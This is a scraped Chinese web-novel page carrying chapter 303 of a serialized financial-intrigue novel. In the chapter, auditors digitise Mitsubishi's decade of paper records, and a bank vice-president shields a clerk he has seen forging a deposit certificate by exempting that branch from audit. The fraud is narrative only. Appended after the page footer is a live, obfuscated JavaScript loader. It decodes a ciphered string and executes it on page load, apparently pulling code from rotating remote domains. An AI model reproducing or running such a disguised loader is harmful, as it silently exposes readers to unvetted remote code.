首页
第303章 合规盲区
返回
关灯 护眼:关 字号:小

第303章 合规盲区

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第303章合规盲区(第1/2页)
    (抱歉,我设置了定时发布的,不知道为什么没成功)
    神奈川县川崎市,三菱重工废弃造船厂。
    两扇沉重的铁门被几名戴着安全帽的工人用力推开。
    扬起的灰尘在清晨稀薄的光柱中翻滚着,空气中带有一股浓重的霉味与机油长期氧化后的刺鼻气味。
    西园寺情报系统(SIS)的五名技术督导员站在大门外。带队的主管推了一下鼻梁上的无框眼镜,视线越过那道生锈的门槛,投向厂房内部。
    这座占地极广的挑高厂房内,密密麻麻地堆叠着成千上万个牛皮纸档案箱。这些箱子顺着承重柱一路向上码放,几乎触碰到了厂房顶部的钢结构桁架,形成了一道令人窒息的纸墙。
    三菱总务部的干事从厂房门后的阴影里走出来。
    “各位西园寺家的高级督导,早上好。”
    干事停在五人面前,面带公式化的微笑,身体微微前倾,做了一个无可挑剔的迎宾姿态。
    “按照岩崎会长的指示,三菱集团将全力配合贵方建立联合专项安置办公室的诉求。为了向贵方展示我们彻查资金流向的诚意,总务部连夜从丸之内总部的地下仓库,将过去十年间所有涉及人事调度、后勤采购以及外包工单的原始凭证,全数运送到了这里。”
    SIS带队督导推了一下鼻梁上的无框眼镜,目光扫过那些直抵天花板的纸箱。
    “干事先生。联合督导组的职责,是监管那两百亿新增专项资金的流向。”督导的声音平稳,“贵方提供过去十年的陈年旧档,似乎偏离了审查的重心。”
    干事侧开身子,抬起右手,掌心朝上指向厂房内那座由档案箱堆砌而成的山峰。
    “督导先生,这正是三菱集团追求财务绝对透明的诚意所在。”
    干事放下手,双手交叠放在腹部。
    “贵方入驻的目的是监督这五千名新招募工人的去向与资金落实。为了向贵方证明,三菱没有将这笔专项资金用于填补过往的财务旧账,也没有将任何一位原有编制内的老员工,伪装成新招募的失业劳工。”
    他微笑着看向SIS督导。
    “我们需要请贵方先建立一份客观的‘历史财务与人事基线’。只有请各位将这十年来的旧有人员名单与常规采购单据全部核对清楚,建立起排他性的数据库。才能在交叉比对中确保,未来那两百亿专项资金的每一笔支出,都是切切实实用于‘新增’的失业救济。”
    “这里一共有两万三千个标准档案箱,内含数百万份原始发票与薪酬底单。”
    干事后退半步。
    “有一项合规条例需要向各位提前说明。本厂区曾涉及海上防卫厅的重型机械部件加工,属于受限制的保密区域。为了防止泄密,我们在昨晚切断了这座档案馆连接外部的所有电话线与网络接口。”
    他看了一眼SIS督导员手里提着的几个黑色公文包。
    “所有的数据核查,必须在这座厂房的物理范围内完成。任何试图将纸质文件或者复印件带出这道铁门的行为,三菱法务部都会立刻启动商业窃密指控。为了确保双方的体面,还请各位督导在此地,自行核对。”
    说完,干事后退半步,做了一个请的手势。
    他站在门边,准备欣赏这几个穿着高档西装的审计人员,在面对这堆发霉纸张时崩溃的表情。按照正常的人工核算速度,这五个人就算不吃不喝看上三年,也休想在这两万多个箱子里找出那五千名工人的真实去向。
    SIS的带队督导安静地听完了这番冗长的保密警告。
    他点了点头。
    “三菱集团的财务合规要求严谨,我们认可这项提议。”
    督导语气平缓。他没有踏入厂房,而是转过身,向着停在厂区外围的一排黑色越野车打了个手势。
    越野车队迅速向两侧散开。
    三辆印着“S.A.Data”字样的重型厢式货车,引擎发出低沉的轰鸣,缓缓倒车,尾部对准了造船厂的大门。
    三菱干事脸上的笑容微微一滞。他看着那些体型庞大的货车,眉头皱了起来。
    几名穿着深色工作服的搬运工跳下车厢。他们熟练地打开货车侧面的金属围挡,将几台带有巨大散热风扇的工业级柴油发电机组推移到通风口处。
    随后,货车的后车厢尾板缓缓降下。
    三菱干事瞪大了眼睛。
    车厢内部,并不是常规的桌椅或货架,而是被全金属防静电板包裹的封闭空间。三个车厢内部,分别固定着两排黑色的UNIX图形工作站、两组带有冗余阵列的本地服务器机柜,以及六台体型庞大、外壳闪烁着金属光泽的美制高速滚筒扫描仪。
    SIS督导走到货车尾板旁,伸手拍了拍冰冷的金属车厢。
    “干事先生。既然三菱方面强调数据绝不能离境,我们特意调来了这套局域网移动数据中心。”
    督导转过头,看着脸色发僵的干事。
    “这套系统拆除了所有的外部通讯模块与无线电发射器,只保留了局域网数据交换功能。数据只会在本地硬盘里流转,完美符合贵方的物理隔离要求。”
    干事的嘴角抽搐了一下。
    “不愧是西园寺家,准备得确实周全。”干事微微欠身,语气中甚至透出了几分赞叹,“不过,作为协助方,我还是有义务提醒一句。”
    干事指了指旁边离得最近的一个纸箱。
    “这几万个箱子里的底单,大多是十年前老员工的随手笔迹,许多纸张已经发黄泛脆,甚至带有霉斑。希望贵方这些先进的机器,能够顺利读懂那些陈年的墨迹。”
    他礼貌地退后半步,让开工作空间。
    “如果在尝试之后,各位督导还是需要人工查阅的话,请随时吩咐,我们三菱会为大家提供最充足的照明设备与护目镜。”
    在这个三菱总务部干事的认知里,目前的扫描技术根本无法识别那些潦草且带有水渍的旧时代日文汉字。机器拍出来的只会是一堆模糊的废照片。
    他只需要站在一旁,保持着配合的姿态,看着这几个西园寺家的人在屏幕前面对乱码崩溃,最后不得不重新用手去翻阅那些废纸即可。
    督导没有回应干事的这份“好意”。他抬起手,向身后的技术人员下达了指令。
    柴油发电机组点火,低沉的轰鸣声在空旷的厂区内震荡着。
    两名技术人员快步走入厂房,用美工刀划开最外侧的一个纸箱。抓起一沓边缘已经发黄泛卷的人事档案单,拍掉上面的浮灰,将其径直塞入了一号车厢那台高速滚筒扫描仪的进纸托盘中。
    技术人员在UNIX工作站的机械键盘上敲击了几下,按下了回车键。
    三菱干事盯着车厢内的显像管屏幕,试图从对方的操作中找出破绽。
    他看到屏幕上迅速闪过一张张被扫描成数字图像的发黄表单。那些表单上的手写字迹潦草不堪,有的地方甚至被墨水晕染成了黑疙瘩。
    然而,屏幕上的图像只停留了不到零点一秒。
    紧接着,工作站右侧的另一个显示器上,弹出了一个底色全黑的代码运行窗口。一行行绿色的数字开始如同瀑布般向下刷新。
    伴随着代码的运行,屏幕最下方生成了一个干净的电子表格。
    【姓名栏:无法识别】【部门栏:无法识别】
    【资金流向栏:2,500,000JPY】【账户尾号:4458】
    干事的呼吸停滞了。
    怎么可能提取出数字?那些数字明明和手写的汉字混杂在同一个框里。
    (本章未完,请点击下一页继续阅读)第303章合规盲区(第2/2页)
    他迅速调整了面部略显僵硬的肌肉,重新换上客套的微笑。
    “西园寺家的设备真是令人大开眼界。”干事微微欠身,语气中带着赞叹,“据我所知,即便目前最顶尖的图像识别技术,似乎也难以在带有水渍的陈年手写汉字中,如此精准地分离出数字。不知贵方采用的是哪种先进的识别算法?实在是让我等开了眼界。”
    督导将视线从屏幕上移开,看向干事,语气平淡。
    “这是西园寺情报系统的内部核心机密。恕难奉告,先生。”
    干事只能讪笑。
    实际上,能够成功提取数据还得归功于三菱内部严谨的官僚体制。
    过去十年间,他们一直使用的“第4A号财务支出单”与“第7B号人事调度表”,边框的尺寸、表格的位置,甚至留白的间距,都未曾更改过一毫米。
    基于这种刻板的物理排版,底层抓取脚本直接跳过了那些手写备注。程序仅仅锁定了每一张扫描图像在X轴150、Y轴300这个特定坐标点上的像素块。那里,刚好是三菱固定填写资金流水与银行编号的2X4厘米方框。
    针对固定坐标的批量抓取,让干事引以为傲的那座纸质迷宫形同虚设。程序不需要知道这张单子具体的来龙去脉。它只需要把两万个箱子里每一张纸上的核心要素抓出来,交给后台服务器。
    这十卡车的废纸,将在四十八小时内被转化为一个庞大且清晰的“历史排他性数据库”。
    只要这个基线底座建立完成。未来三菱集团为那两百亿专项资金申报的每一个“新招募”工人名字、每一张采购发票,都会在这个数据库里进行实时交叉比对。
    只要那五千人的名单里,出现了一张重复入账的陈年旧发票。西园寺家就能拿着这份数据,直接指控三菱利用旧编制冒充失业劳工,涉嫌两百亿的财务造假。
    僵化的官僚表格,成为了击碎防线的突破口。
    干事看着屏幕上不断增加的汇总金额,双腿微微发软。
    这些人真要全部看完这些数据?不……不对,这些数据能被全部泄露的吗?
    “感谢贵方提供如此完整的原始凭证。”
    督导看着面色灰败的干事。
    “十卡车的底单。联合工作组将在四十八小时内完成全数审计。”督导指了一下车厢旁正在轰鸣的柴油发电机组,“审计期间,请三菱方面确保柴油的足量供应,不要让机器停转。”
    ……
    香川副行长停在了一处半掩的文书室百叶窗外。
    富士银行赤坂支店,二楼回廊。
    香川将身体贴近墙壁,视线顺着百叶窗微微倾斜的缝隙,探入文书室内部。
    室内只有一名三十多岁的融资课职员。这名职员解开了衬衫的两颗扣子,领带被扯得歪斜,额头上满是细密的汗珠。
    他正坐在一台老式的英文打字机前,双手手指在金属按键上快速且用力地敲击着。
    “咔哒、咔哒、咔哒……”
    清脆的机械敲击声在安静的室内显得格外刺耳。
    香川的视线越过职员的肩膀,锁定了打字机滚筒上夹着的那张纸片。
    那是一张印有富士银行台头的定期存单。
    随着滚筒的转动,面额栏上被打出了一串清晰的黑色油墨数字:5,000,000,000JPY。
    五十亿日元。
    香川的眼角牵扯了一下。
    竟然是真的……大小姐是怎么知道这种事情的……
    在香川取得董事会的信任之后,皋月就托人来信祝贺他“更进一步”了。还顺便下了一个指示——去赤坂支店,有人在伪造虚假存单,协助他。
    打字机的敲击声停止了。
    那名职员长长地吐出一口气,转动滚筒退下纸张,将那份三联式单据平铺在桌面上。
    职员撕下了最上层的“客户留存联”,将其单独放在一旁。随后,他拿起下方用于录入清算主机的“数据中心联”与“支店底单联”,径直转身,将这两份原本应交由后台入账的内部凭证塞进了角落里的碎纸机。
    伴随着碎纸机沉闷的咀嚼声,这笔五十亿存款在银行内部的物理入账痕迹被切成了一堆废纸条。
    职员回到座位上。他从抽屉深处摸出一个沉甸甸的黄铜印鉴盒。香川认得那个制式,那是支店长才有资格持有的高阶授权实印。
    又将印鉴按在红色的印泥里,在“客户留存联”的右下角重重地盖了下去。
    真实的防伪纸张,真实的支店长印鉴。这张存单就算被交到外部的非银金融机构(如住专)手中,对方法务部的审核员拿着放大镜也找不出破绽。
    香川在走廊默默看着。
    大藏省的断贷令下发后,外面的中小地产商为了借到钱,愿意支付极高的利息。而这名职员伪造了这张五十亿的定期存单,将其交给某个外部的客户。那个客户只要拿着这张存单,就能去非银行金融机构(如住专)作为抵押物,骗取巨额贷款。
    这笔凭空捏造出来的五十亿,根本没有进入富士银行的清算主机,完全游离在总行的监控视野之外。
    只要那个客户能在期限内把钱还上,这个职员就能从中抽取巨额的好处费,然后把这张假存单悄悄销毁,神不知鬼不觉。
    香川站在原地,静静地看着那名职员将假存单塞进公文包。
    按照银行的合规流程,他现在应该立刻推开这扇门,呼叫楼下的安保人员将这个造假的职员按在地上,然后移交司法机关。
    但香川没有动。
    他想起了在S-PalaCeHOtel那间私密会客室里,远藤专务推到他面前的那张七十五亿本票,以及自己亲手签下的那份出卖总行机密的协议。
    他现在已经没有回头路了。总行董事会那帮老家伙,只要稍有风吹草动,随时都会把他推出去当替罪羊。
    他需要一颗能够随时炸毁富士银行、逼迫董事会向他求饶的核弹。
    眼前这个为了贪欲而伪造存单的底层职员,就是一枚现成的引信。五十亿的窟窿在庞大的富士银行面前还不算致命。这颗毒瘤需要时间去生长,需要一个安全的温床,让它膨胀到一千亿、两千亿的规模。
    香川没有推门,后退半步,顺着员工楼梯离开了赤坂支店。
    ……
    富士银行总行,副行长独立办公室。
    香川坐在宽大的办公桌后。他拔下钢笔的笔帽,将笔尖压在《全行内部巡视与实体印鉴盘点计划表》的赤坂支店栏目上方。
    作为总行刚刚任命的“内部风险排查组长”,他拥有对全部分行审计排期的最终签字权。
    钢笔在“赤坂支店,融资课”的文字旁边,画了一个明显的圆圈。
    随后,香川在表格底部的空白处,写下了一行批注:
    【该支店近期业务数据优良,内部风控完善。经排查组决议,免于本季度总行突击金库盘查与实体印鉴核对。】
    写完最后一个字,香川放下钢笔。他拉开抽屉,取出那枚代表着副行长职权的红色实印。
    在那行批注的末尾,盖下了自己的印鉴。
    从此刻起,赤坂支店成了一片法外的飞地。
    那位职员,将在接下来的几个月里,彻底失去所有来自总行的物理监管与突击盘查。
    他可以肆无忌惮地敲击那台老式打字机,将富士银行拖入深渊。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();